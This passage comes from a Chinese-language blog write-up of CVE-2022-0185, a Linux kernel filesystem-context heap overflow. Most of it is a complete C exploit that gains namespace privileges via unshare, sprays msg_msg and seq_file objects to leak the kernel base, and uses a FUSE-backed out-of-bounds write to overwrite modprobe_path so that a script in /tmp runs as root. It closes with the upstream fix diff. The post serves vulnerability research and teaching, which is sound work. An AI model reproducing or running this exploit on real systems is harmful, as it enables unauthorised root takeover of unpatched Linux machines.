有了任意地址写,现在该考虑写哪里、写什么了,我们可以通过覆写一些全局函数表来劫持内核执行流,或是覆写一些其他的东西完成提权,这里笔者选择覆写 modprobe_path 完成提权,当我们执行一个格式非法的程序时,内核会以 root 权限执行 modprobe_path 所指的应用,我们只需要将其改为我们的恶意脚本的路径即可

FINAL EXPLOIT

最后由笔者编写的 exp 如下,因为一些原因暂时无法进行验证,但是思路应该是对的,在理论上应当可行:

内核地址泄露的部分经过验证了,但是对于 FUSE 进行利用的部分,由于笔者在复现漏洞时使用的是 CTF 中 kernel pwn 的简易环境,故没法使用 FUSE:(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
#define _GNU_SOURCE
#define FUSE_USE_VERSION 34
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <linux/mount.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <errno.h>
#include <stddef.h>
#include <fuse.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/msg.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif

#define PRIMARY_MSG_SIZE 4096
#define SECONDARY_MSG_SIZE 32
#define MSG_TYPE 'A'
#define PRIMARY_MSG_TYPE 'A'
#define SECONDARY_MSG_TYPE 'B'
#define VICTIM_MSG_TYPE 0x1337
#define MSG_TAG 0xAAAAAAAA

#define MSG_QUEUE_NUM 0x10
#define SEQ_FILE_NUM 0x100

#define MSG_HOLE_SPACE 8

#define EVIL_FILE_NAME "a3fuse_evil_file"
#define EVIL_DAEMON_NAME "evil_fuse"
#define EVIL_MOUNT_PATH "/tmp/evil"
#define EVIL_FILE_PATH EVIL_MOUNT_PATH "/" EVIL_FILE_NAME

struct list_head {
uint64_t next;
uint64_t prev;
};

struct msg_msg {
struct list_head m_list;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
};

struct msg_msgseg {
uint64_t next;
};

struct {
long mtype;
char mtext[PRIMARY_MSG_SIZE - sizeof(struct msg_msg)
+ SECONDARY_MSG_SIZE - sizeof(struct msg_msgseg)];
} primary_msg;

char *evil_args[] = { EVIL_DAEMON_NAME, EVIL_MOUNT_PATH, NULL };
int exp_fs_fd;

static int a3fuse_evil_readdir(const char* path, void* buf,
fuse_fill_dir_t filler, off_t offset,
struct fuse_file_info* fi,
enum fuse_readdir_flags flags);
static int a3fuse_evil_getattr(const char* path, struct stat *stbuf,
struct fuse_file_info *fi);
static int a3fuse_evil_read(const char *path, char *buf, size_t size,
off_t offset, struct fuse_file_info *fi);
static int a3fuse_evil_write(const char *path, const char *buf, size_t size,
off_t offset, struct fuse_file_info *fi);

static struct fuse_operations a3fuse_evil_ops = {
.readdir = a3fuse_evil_readdir,
.getattr = a3fuse_evil_getattr,
.read = a3fuse_evil_read,
.write = a3fuse_evil_write,
};

char cat_flag[] = "#!/bin/sh\nchmod 777 /flag";

size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;
size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\n\033[0m");
}

int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}

int fsconfig(int fsfd, unsigned int cmd,
const char *key, const void *val, int aux)
{
return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}

void errExit(char *msg)
{
printf("\033[31m\033[1m[x] Error: %s\033[0m\n", msg);
exit(EXIT_FAILURE);
}

int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0);
}

int writeMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
*(long*)msgp = msgtyp;
return msgsnd(msqid, msgp, msgsz - sizeof(long), 0);
}

int peekMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
size_t __msgsz = msgsz - sizeof(long);
return msgrcv(msqid, msgp, __msgsz, msgtyp,
MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}

void buildMsg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev,
uint64_t m_type, uint64_t m_ts, uint64_t next, uint64_t security)
{
msg->m_list.next = m_list_next;
msg->m_list.prev = m_list_prev;
msg->m_type = m_type;
msg->m_ts = m_ts;
msg->next = next;
msg->security = security;
}

static int a3fuse_evil_readdir(const char* path, void* buf,
fuse_fill_dir_t filler, off_t offset,
struct fuse_file_info* fi,
enum fuse_readdir_flags flags)
{
if (strcmp(path, "/")) {
return -ENOENT;
}

filler(buf, ".", NULL, 0, 0);
filler(buf, "..", NULL, 0, 0);
filler(buf, EVIL_FILE_PATH, NULL, 0, 0);

return 0;
}

static int a3fuse_evil_getattr(const char* path, struct stat *stbuf,
struct fuse_file_info *fi)
{
if (!strcmp(path, "/")) {
stbuf->st_mode = 0755 | S_IFDIR;
stbuf->st_nlink = 2;
} else if(!strcmp(path + 1, EVIL_FILE_PATH)) {
stbuf->st_mode = 0644 | S_IFREG;
stbuf->st_nlink = 1;
stbuf->st_size = 0x1000;
} else {
return -ENOENT;
}

return 0;
}

static int a3fuse_evil_read(const char *path, char *buf, size_t size,
off_t offset, struct fuse_file_info *fi)
{
/* I only set one page there */
char evil_buf[0x1000], fake_msg[0x100];

if (offset >= 0x1000) {
return -1;
} else if (offset + size > 0x1000) {
size = 0x1000 - offset;
}

memset(evil_buf, 0, sizeof(evil_buf));
strcpy(evil_buf, "arttnba3/tmp/evil.sh");
memcpy(buf, evil_buf + offset, size);

/* fake msg_msg with `next` pointing to modprobe_path*/
buildMsg(fake_msg, "arttnba3", "arttnba3", *(uint64_t*) "arttnba3",
*(uint64_t*) "arttnba3", 0xffffffff82891160 + kernel_offset,
*(uint64_t*) "arttnba3");
fsconfig(exp_fs_fd, FSCONFIG_SET_STRING, "", fake_msg + 2, 0);

return size;
}

static int a3fuse_evil_write(const char *path, const char *buf, size_t size,
off_t offset, struct fuse_file_info *fi)
{
/* I only set one page there */
char evil_buf[0x1000];

if (offset >= 0x1000) {
return -1;
} else if (offset + size > 0x1000) {
size = 0x1000 - offset;
}

memcpy(evil_buf + offset, buf, size);

return size;
}

/**
* @brief make an out-of-bound write to the next object in kmalloc-4k,
* note that the buf before will always be appended to a ",=",
* for a ctx-legacy_data with 4095 bytes' data, the ',' will be the last byte,
* and the '=' will always be on the first by of the object nearby
*
* @param buf buf to write to next object
* @return int - the fd for filesystem context
*/
int oobWritePrepare(void)
{
int fs_fd;

/* get a filesystem context */
fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) {
errExit("FAILED to fsopen()!");
}

/**
* fulfill the ctx->legacy_data to 4095 bytes,
* so that the (PAGE_SIZE - 2 - size) overflow
*/
for (int i = 0; i < 255; i++) {
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba", "arttnba", 0);
}
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba3", "pwnnn", 0);

return fs_fd;
}

void leakKernelBase(void)
{
int fs_fd;
int msqid[MSG_QUEUE_NUM];
int seq_fd[SEQ_FILE_NUM];
char m_ts_buf[0x10];
uint64_t buf[0x1000];

/* create message queue */
puts("[*] create message queue for data leaking...");
for (int i = 0; i < MSG_QUEUE_NUM; i++) {
if ((msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0) {
errExit("failed to create msg_queue!");
}
}

/* spray msg_msg in half of message queues and seq_file */
puts("[*] spray msg_msg in half of message queues and seq_files...");
for (int i = 0; i < (MSG_QUEUE_NUM / 2); i++) {
memset(&primary_msg.mtext, 'A' + i, sizeof(primary_msg) - sizeof(long));
if (writeMsg(msqid[i],&primary_msg, sizeof(primary_msg),MSG_TYPE) < 0) {
printf("[x] error at sending msg_msg on %d queue\n", i);
errExit("FAILED to send message!");
}

if ((seq_fd[i] = open("/proc/self/stat", O_RDONLY)) < 0) {
printf("[x] error at opening %d seq_file\n", i);
errExit("FAILED to open /proc/self/stat!");
}
}

/* fsconfig() to set the size to the &msg_msg->m_ts */
puts("[*] fsconfig() to set the size to the &msg_msg->m_ts...");
fs_fd = oobWritePrepare();

fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00",
"arttnbaarttnbaarttnba", 0);

/* spray msg_msg into the left half of message queues and seq_files */
puts("[*] spray msg_msg in another half of message queues and seq_files..");
for (int i = (MSG_QUEUE_NUM / 2); i < MSG_QUEUE_NUM; i++) {
memset(&primary_msg.mtext, 'A' + i, sizeof(primary_msg) - sizeof(long));
if (writeMsg(msqid[i],&primary_msg, sizeof(primary_msg),MSG_TYPE) < 0) {
printf("[x] error at sending msg_msg on %d queue\n", i);
errExit("FAILED to send message!");
}

if ((seq_fd[i] = open("/proc/self/stat", O_RDONLY)) < 0) {
printf("[x] error at opening %d seq_file\n", i);
errExit("FAILED to open /proc/self/stat!");
}
}

/* oob write to overwrite m_ts of one msg_msg */
puts("[*] oob write to overwrite m_ts of one msg_msg...");
memset(m_ts_buf, '\0', sizeof(m_ts_buf));
*((long*) m_ts_buf) = 0xfd0 + 0xff0;
fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", m_ts_buf, 0);

/* spray more seq_operations */
puts("[*] spray more seq_operations...");
for (int i = MSG_QUEUE_NUM; i < SEQ_FILE_NUM; i++) {
if ((seq_fd[i] = open("/proc/self/stat", O_RDONLY)) < 0) {
printf("[x] error at opening %d seq_file\n", i);
errExit("FAILED to open /proc/self/stat!");
}
}

/* check for oob read */size_t data_leak = -1;
puts("[*] checking for oob reading...");
for (int i = 0; i < MSG_QUEUE_NUM; i++) {
ssize_t rcvsz;

memset(buf, '\0', sizeof(buf));
if ((rcvsz = peekMsg(msqid[i], buf, 0xfd0 + 0xff0 - 8 + 0x10, 0)) < 0) {
printf("[-] failed to read at %d queue\n", i);
errExit("FAILED to msgrcv(MSG_COPY)!");
}

/* normal queue, just ignore */
if (rcvsz == (0xfd0 + 0x18)) {
continue;
}

for (int j = 0; j < (0xfd0 + 0xfd0) / 8; j++) {
//printf("[----data dump][%d] %p\n", j, buf[j]);
if (buf[j] > kernel_base && ((buf[j] & 0xfff) == 0x4d0)) {
printf("[+] get data leak: %lx\n", buf[j]);
data_leak = buf[j];
goto out;
}
}
}

out:
if (data_leak == -1) {
errExit("failed to leak kernel info!");
}

kernel_offset = data_leak - 0xffffffff813834d0;
kernel_base += kernel_offset;
printf("\033[32m\033[1m[+] kernel base: \033[0m%lx ", kernel_base);
printf("\033[32m\033[1moffset: \033[0m%lx\n", kernel_offset);
printf("[+] modprobe_path: %lx\n", 0xffffffff82891160 + kernel_offset);
}

void arbitraryWriteByMsg(void)
{
int msqid, evil_file_fd;
char *nearby_page, *evil_page;
int msg_sz;

msg_sz = 0xfd0 + 0x18;

if ((evil_file_fd = open(EVIL_FILE_PATH, O_RDWR)) < 0) {
errExit("FAILED to open evil file in FUSE!");
}

nearby_page = (char*) mmap((void*)0x1337000, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
evil_page = (char*) mmap((void*)0x1338000, 0x1000, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_FIXED, evil_file_fd, 0);
if (evil_page != (char*)0x1338000) {
errExit("FAILED to map for FUSE file!");
}

memset(nearby_page, 'a', 0x1000);

if ((msqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0) {
errExit("failed to create msg_queue!");
}

exp_fs_fd = oobWritePrepare();

writeMsg(msqid, nearby_page - 0xfd0 + 8, msg_sz, MSG_TYPE);

munmap(nearby_page, 0x1000);
munmap(evil_page, 0x1000);
close(evil_file_fd);
}

int main(int argc, char **argv, char **envp)
{
cpu_set_t cpu_set;
int seq_fd[SEQ_FILE_NUM], leak_msqid[MSG_QUEUE_NUM], shell_fd;
int ret;
char buf[0x2000];
uint64_t *data;

puts("[*] CVE-2022-0185 - exploit by arttnba3");

/* create new namespace to get CAP_SYS_ADMIN */
if (unshare(CLONE_NEWNS | CLONE_NEWUSER) < 0) {
errExit("FAILED to unshare()!");
}

/* to run the exp on the specific core only */
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

/* register for FUSE */
system("mkdir -p " EVIL_MOUNT_PATH);
if (fuse_main(sizeof(evil_args) / sizeof(char*) - 1, evil_args,
&a3fuse_evil_ops, NULL) != 0) {
errExit("FAILED to create FUSE!");
}

/* leak kernel base */
leakKernelBase();

/* prepare file for triggering modprobe_path */
system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");
system("chmod +x /tmp/fake");

/* prepare file for fake modprobe_path */
shell_fd = open("/tmp/evil.sh", O_RDWR | O_CREAT);
write(shell_fd, cat_flag, sizeof(cat_flag));
close(shell_fd);
system("chmod +x /tmp/evil.sh");

/* exploit */
for (int i = 0; 1; i++) {
int flag_fd;

printf("[-] trying arbitrary write for no.%d time...\n", i);

arbitraryWriteByMsg();
system("/tmp/fake");

flag_fd = open("/flag", O_RDWR);
if (flag_fd > 0) {
puts("[+] Successfully overwrite the modprobe_path!");
break;
}
}

return 0;
}

0x03.漏洞修复

该漏洞在内核主线的 这个 commit 当中被修复,主要就是将减法换成了加法,避免了无符号整型下溢的问题,笔者认为这个修复还是比较成功的:

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/fs/fs_context.c b/fs/fs_context.c
index b7e43a780a625..24ce12f0db32e 100644
--- a/fs/fs_context.c
+++ b/fs/fs_context.c
@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
param->key);
}

- if (len > PAGE_SIZE - 2 - size)
+ if (size + len + 2 > PAGE_SIZE)
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&

【CVE.0x09】CVE-2022-0185 漏洞复现及简要分析
http://blog.arttnba3.cn/2023/01/11/CVE-0X09-CVE-2022-0185/
作者
arttnba3
发布于
2023年1月11日
许可协议